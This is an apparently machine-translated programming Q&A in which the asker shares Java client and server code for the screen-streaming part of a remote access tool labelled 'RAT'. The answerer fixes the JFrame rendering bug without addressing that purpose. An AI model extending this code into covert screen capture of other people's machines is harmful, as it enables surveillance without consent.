2012-08-07 151 views
0

我想做一个Java RAT,但atm我只有屏幕显示。当我运行它,它显示在JFrame的精细屏幕,但它一直拖着相同的图像低一点,每个得出这样的: screenJFrame打印很奇怪吗?

客户:

import java.awt.AWTException; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.io.IOException; 
import java.net.Socket; 
import java.util.zip.GZIPOutputStream; 
import javax.imageio.ImageIO; 

public class Client { 

    public static void main(String[] args) { 
     try { 
      Robot robot = new Robot(); 
      Toolkit toolkit = Toolkit.getDefaultToolkit(); 
      Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight()); 
      Socket socket = new Socket("127.0.0.1", 25565); 
      GZIPOutputStream out = new GZIPOutputStream(socket.getOutputStream()); 

      while(socket.isConnected()) { 
       ImageIO.write(robot.createScreenCapture(screen), "png", out); 
      } 
      out.close(); 
     } catch (AWTException e) { 
      e.printStackTrace(); 
     } catch (IOException e) { 
      e.printStackTrace(); 
     } 
    } 
} 

服务器:

import java.awt.image.BufferedImage; 
import java.io.IOException; 
import java.net.ServerSocket; 
import java.net.Socket; 
import java.util.zip.GZIPInputStream; 

import javax.imageio.ImageIO; 

public class Server { 

    public static void main(String[] args) { 
     try { 
      ServerFrame frame = new ServerFrame(); 
      ServerSocket serverSocket = new ServerSocket(25565); 
      Socket socket = serverSocket.accept(); 
      GZIPInputStream in = new GZIPInputStream(socket.getInputStream()); 
      BufferedImage image = null; 
      while(socket.isConnected()) { 
       image = ImageIO.read(in); 
       if(image != null) { 
        frame.setBufferedImage(image); 
       } 
      } 
      in.close(); 
     } catch (IOException e) { 
      e.printStackTrace(); 
     } 
    } 
} 

ServerFrame:

import java.awt.Graphics; 
import java.awt.image.BufferedImage; 

import javax.swing.JFrame; 

public class ServerFrame extends JFrame { 

    private BufferedImage image; 

    public ServerFrame() { 
     setTitle("RAT"); 
     setSize(1920, 1080); 
     setVisible(true); 
     image = null; 
    } 

    public void setBufferedImage(BufferedImage image) { 
     this.image = image; 
     this.repaint(); 
    } 

    public void paint(Graphics g) { 
     if(image != null) { 
      g.drawImage(image, 0, 0, this); 
     } 
    } 
} 

回答

0

对于SOM因此,当在JFrame中绘图时,在g.drawImage(image, 0, 0, this);行中的屏幕截图的绘制开始向上滑动并且在您最大化查看框架时离开。

尝试从JPanel开始延伸ServerFrame并将其添加到JFrame,这样您可以在左上角找到锚点。您也可以在其中添加JScrollPane,以便您可以使用屏幕截图导航整个面板。

下面是我用来复制情况的代码,只要按下某个键就可以捕获屏幕。我将ServerFrame类更名为ScreenCapture

希望它有帮助。

import java.awt.AWTException; 
import java.awt.Graphics; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.awt.event.KeyEvent; 
import java.awt.event.KeyListener; 
import java.awt.image.BufferedImage; 

import javax.swing.JFrame; 
import javax.swing.JPanel; 

public class ScreenCapture extends JPanel implements KeyListener { 

    private BufferedImage image; 

    public ScreenCapture() { 
     setSize(1920, 1080); 
     setVisible(true); 
     image = null;  
    } 

    public void setBufferedImage() throws AWTException { 
     Robot robot = new Robot(); 
     Toolkit toolkit = Toolkit.getDefaultToolkit(); 
     Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight()); 
     this.image = robot.createScreenCapture(screen); 
     this.repaint(); 
    } 

    public void paint(Graphics g) { 
     if (image != null) { 
      g.drawImage(image, 0, 0, this); 
     } 
    } 

    @Override 
    public void keyTyped(KeyEvent e) {} 

    @Override 
    public void keyPressed(KeyEvent e) { 
     try { 
      setBufferedImage(); 
     } catch (AWTException e1) { 
      e1.printStackTrace(); 
     } 
    } 

    @Override 
    public void keyReleased(KeyEvent e) {} 

    public static void main(String [] args) { 
     ScreenCapture capture = new ScreenCapture(); 

     JFrame frame = new JFrame(); 
     frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
     frame.addKeyListener(capture); 
     frame.add(capture); 
     frame.setSize(500, 500); 
     frame.setVisible(true); 
    } 
} 

EDIT

这里的一个代码段包裹在一个JScollPane图像。

import java.awt.AWTException; 
import java.awt.BorderLayout; 
import java.awt.Graphics; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.awt.event.KeyEvent; 
import java.awt.event.KeyListener; 
import java.awt.image.BufferedImage; 

import javax.swing.ImageIcon; 
import javax.swing.JFrame; 
import javax.swing.JLabel; 
import javax.swing.JPanel; 
import javax.swing.JScrollPane; 

public class ScreenCapture extends JLabel implements KeyListener { 

    private BufferedImage image; 

    public ScreenCapture() { 
     setSize(1920, 1080); 
     setVisible(true); 
     image = null; 
    } 

    public void setBufferedImage() throws AWTException { 
     Robot robot = new Robot(); 
     Toolkit toolkit = Toolkit.getDefaultToolkit(); 
     Rectangle screen = new Rectangle((int) toolkit.getScreenSize() 
       .getWidth(), (int) toolkit.getScreenSize().getHeight()); 
     this.image = robot.createScreenCapture(screen); 
     this.setIcon(new ImageIcon(this.image)); 
     this.repaint(); 
    } 

    @Override 
    public void keyTyped(KeyEvent e) { 
    } 

    @Override 
    public void keyPressed(KeyEvent e) { 
     try { 
      setBufferedImage(); 
     } catch (AWTException e1) { 
      e1.printStackTrace(); 
     } 
    } 

    @Override 
    public void keyReleased(KeyEvent e) { 
    } 

    public static void main(String[] args) { 
     JPanel panel = new JPanel(); 
     panel.setLayout(new BorderLayout()); 

     ScreenCapture capture = new ScreenCapture(); 
     JScrollPane scroll = new JScrollPane(); 
     scroll.getViewport().add(capture); 
     panel.add(scroll, BorderLayout.CENTER); 

     JFrame frame = new JFrame(); 
     frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
     frame.getContentPane().add(panel); 
     frame.addKeyListener(capture); 
     frame.setSize(500, 500); 
     frame.setVisible(true); 
    } 
} 
+0

非常感谢,我不能代表,但如果我能我肯定会:D – user1007883 2012-08-07 17:04:42

+0

没问题:)。如果回答您的问题,您可以将答案标记为正确。很高兴我能帮上忙。 – 2012-08-07 17:09:47